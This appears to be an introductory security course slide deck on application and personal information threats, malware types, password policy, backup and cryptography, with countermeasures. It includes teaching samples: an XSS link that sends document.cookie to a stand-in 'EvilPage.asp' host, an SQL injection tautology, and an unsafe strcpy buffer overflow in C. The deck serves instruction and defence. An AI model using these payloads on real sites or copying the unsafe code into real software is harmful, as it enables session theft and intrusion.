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Knowledge Check. Which of the following are operating system functions? Process management Graphics acceleration Memory management Give two countermeasures for the following threats: Backdoor DoS. Telecommunications and Network. Application and Individual. Physical and Personnel. System.
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Knowledge Check • Which of the following are operating system functions? • Process management • Graphics acceleration • Memory management • Give two countermeasures for the following threats: • Backdoor • DoS
Telecommunications and Network Application and Individual Physical and Personnel System Planning, Policies, and Procedures Objectives • Identify common threats associated with applications and personal information • Apply basic techniques to secure individual information on a computer
Objectives • Apply major appropriate countermeasures to protect applications from identified threats • Identify common vulnerabilities in password creation • Use cryptographic techniques to hide and restore information
Application Security • Protection of applications against threats • Use procedures, software design, and access control to reduce application risk
Application And OS Security • Similar threats, vulnerabilities, and countermeasures • Applications work closely with the OS regarding access, resources, and privileges
Common Application Security Threats • Unauthorized access to applications • Cross-Site Scripting (XSS) • SQL injection • Buffer overflow • Arbitrary code execution
Unauthorized Access to Applications • Application does not include a mechanism to control access privilege • Anyone can access the application • Anyone can run application • Unauthorized disclosure of data • Data integrity problems
Cross-Site Scripting (XSS) • Browser allows code injection • Attacks the end user, not the server • User unaware that the page they are seeing has malicious elements
Cross-Site Scripting (XSS) 3 Attacker Target site User accesses Web page with malicious code 2 1 Normal interaction 4 Attacker convinces user to access infected Web page 5 Web page displays Info sent to attacker User views Web page on browser normally Malicious code executed. NORMAL VALID SESSION security context: target site Phishing E-mail From: Bad Guy To: Victim CLICK HERE User
Cross-Site Scripting (XSS) URL of the site targeted by the attack <a href="http://…/Search.asp? Search=<script language='javascript'> document.location.replace ('http://localhost/EvilPage.asp? Cookie=‘ + document.cookie); </script>">…</a> HTML code contains embedded JavaScript that redirects to attacker’s page and transmits cookies issued by Search.asp
Structured Query Language (SQL) Injection • Executes commands not intended by the developer • Exploits poor input validation • Coding techniques
SQL Injection Attack Normal SQL command: SELECT * FROM Members WHERE name = ”&username&”’;” Malicious SQL command: SELECT * FROM Members WHERE name = ‘a’ or ‘b’=‘b’;”
Buffer Overflow • Takes place when too much data is accepted as input to an application • Common implementation: attacker gives the program more data than the reserved memory can hold
Buffer Overflow Example #include <stdio.h> #include <string.h> void func(char *p) { char stack_temp[20]; strcpy(stack_temp, p); printf(stack_temp); } int main(int argc, char* argv[]) { func(“I AM MORE THAN TWENTY CHARACTERS LONG!”); return 0; } 38 characters
Arbitrary Code Execution Vulnerability • Software bug that allows attackers to execute any commands on target machine • Remote code execution • Commonly achieved by modifying the program counter of the running process • Many applications have this vulnerability
Application Security Countermeasures • Unauthorized access to • application • Cross-Site Scripting (XSS) • SQL injection • Buffer overflow • Arbitrary code execution
Unauthorized Access Countermeasures • Determines what object can access application • Can be implemented based on users, permissions, and folder structures • UserID and password
Cross-Site Scripting (XSS)Countermeasures • Web server owner should: • Keep Web server updated • Scan for XSS vulnerabilities • Configure applications and servers properly • User should: • Keep Web browser updated • Practice safe Web surfing • Attend awareness training
SQL Injection Countermeasures • Input validation • Manual code review • Least privilege • When not required, disable privileges to stored procedures, tables, etc. • Limit execution privileges to SELECT, UPDATE, DELETE and user-stored procedures
Buffer Overflow Countermeasures • Write secure code • Use compiler tools to detect unsafe instruction sets in applications • Have a limited number of processes running • Keep your application updated with latest patches from software vendor • Control privilege
Arbitrary Code ExecutionCountermeasures • Install latest updates and Service Packs • Disable scripting and ActiveX • Configure application securely • Use alternate, safer applications
Individual Security • Protecting personal systems and information from attack • Also known as ‘Personal Security’
Personal Information Threats • Unauthorized access to personal information • Loss of personal information • Unauthorized disclosure of personal information • Spoofing • Malicious software (Malware)
Unauthorized Access to Personal Information • Commonly done by cracking user passwords • Recovering passwords from data that has been stored in or transmitted by a computer system • Password cracking methods • Dictionary • Hybrid • Brute force
Activity 05.1: Cracking Windows Passwords • Purpose: • Show that password cracking is one of the most common forms of attacks and how easy a weak password can be cracked • Estimated completion time: • 25 - 30 minutes • Additional information: • N/A
Activity 05.1: Password Cracking • How difficult was it to crack the Windows passwords? • Why are some passwords easier to crack than others?
Loss Of Personal Information Source: http://www.stellarinfo.com/data_loss.htm, 2007
Spoofing • A situation in which a person or program successfully masquerades as another by presenting false information • Types of spoofing attacks • E-mail spoofing • Web site spoofing
Malicious Software (Malware) Designed to damage or disrupt a system without the owner's consent Virus Worm Trojan horse Logic/Time bomb Spyware Adware
“Viruses are individual programs that, when placed on a target computer in such a way that they are subsequently executed, (thus ‘infecting’ the computer), can produce results ranging from the innocuous placement of a ‘test’ file to complete deletion of data and reformatting the hard drive.” Virus http://www.upenn.edu/computing/security/malware.php
Worm “Worms are programs whose sole purpose is to replicate and spread themselves to other computers. Commonly, once a computer has been infected by a virus/worm (usually by opening an infected e-mail attachment), the virus component will set up and begin running a mail server, and the worm component will begin to replicate the virus/worm and e-mail it to addresses found in the computer's e-mail address book.” http://www.upenn.edu/computing/security/malware.php
“Programs that are designed and written to look like normal, useful programs, but contain hidden code that can perform a wide variety of compromises up to and including granting a remote user complete control of the compromised computer.” Trojan Horse Application http://www.upenn.edu/computing/security/malware.php
Logic/Time Bomb “A program, or portion of a program, which lies dormant until a specific piece of program logic is activated. The most common activator for a logic bomb is a date…A logic bomb could also be programmed to wait for a certain message from the programmer.” http://www.tech-faq.com/logic-bomb.shtml
Spyware “Spyware consists of computer software that gathers information about a computer user (such as browsing patterns in the more benign case or credit card numbers in more serious ones) and then transmits this information to an external entity without the knowledge or informed consent of the user.” http://www.jellico.com/spyware.html
Adware “Adware or advertising-supported software is any software application in which advertisements are displayed while the program is running. These applications include additional code that displays the ads in pop-up windows or through a bar that appears on a computer screen.” http://www.jellico.com/spyware.html
Personal Information SecurityCountermeasures • Password policies • Backup • Cryptography • Spoofing countermeasures • Malware countermeasures
Password Policies • Enforce password history – 10 passwords • Maximum password age – 120 days • Minimum password age – 5 days • Minimum password length – 15 characters • Password must meet complexity requirements – Enable
What Is A Backup? • Copying files to a second medium for later retrieval as a precaution in case the first medium fails • Perform frequently • Keep in a separate location
Why Should We Back Up? 93% of companies that lost their data center for 10 days or more due to a disaster filed for bankruptcy within one year of the disaster. 50% of businesses that found themselves without data management for this same time period filed for bankruptcy immediately. (Source: National Archives & Records Administration in Washington.) Nearly 90% of computer users who had their laptops stolen said the device contained company communications, as well as confidential business and personal information (Source: Credent Technology)
Cryptography • Definition • Services of cryptography • Public Key Infrastructure (PKI) Photo: Enigma machine. Courtesy, British Royal Navy Museum Excerpt of Alan Turing’s notes on Enigma,Courtesy British National Archives
Cryptography Definition • Principles, means, and methods for rendering plain information unintelligible, and restoring encrypted information to intelligible form • Encryption transforms data into an unreadable format • Decryption restores data to its original format • Encryption and decryption schemes are based upon algorithms (National Information Systems Security Glossary)
How Cryptography Works qANQR1DBwU4DlCm0PeFuV+8Q23B Hello! Hello! Encryption Decryption
Public Key Infrastructure (PKI) • Programs, data formats, procedures, communication protocols, security policies, and public key cryptography mechanisms working in a comprehensive manner, enabling a wide range of dispersed people to communicate in a secure and predictable fashion http://searchsecurity.techtarget.com/generic/0,295582,sid14_gci1328971,00.html
Services Of Cryptography • Confidentiality • Integrity • Authentication • Non-repudiation
Activity 05.2: Cryptography • Purpose: • Show the role of cryptography in protecting sensitive information • Estimated completion time: • 10 - 20 minutes • Additional information: • You will be able to encrypt and decrypt a file using Cypherix’s Cryptainer LE program
Activity 05.2: Cryptography How difficult is it to encrypt a message? How difficult is it to decrypt a message? How does cryptography help to protect personal information?
Spoofing Countermeasures • Practice safe e-mail usage and Web surfing • Attend security awareness training
Malware Countermeasures • Only run software you can trust • Install antivirus software • Scan file attachments with antivirus software before opening • Verify critical file integrity • Backup! Backup! Backup!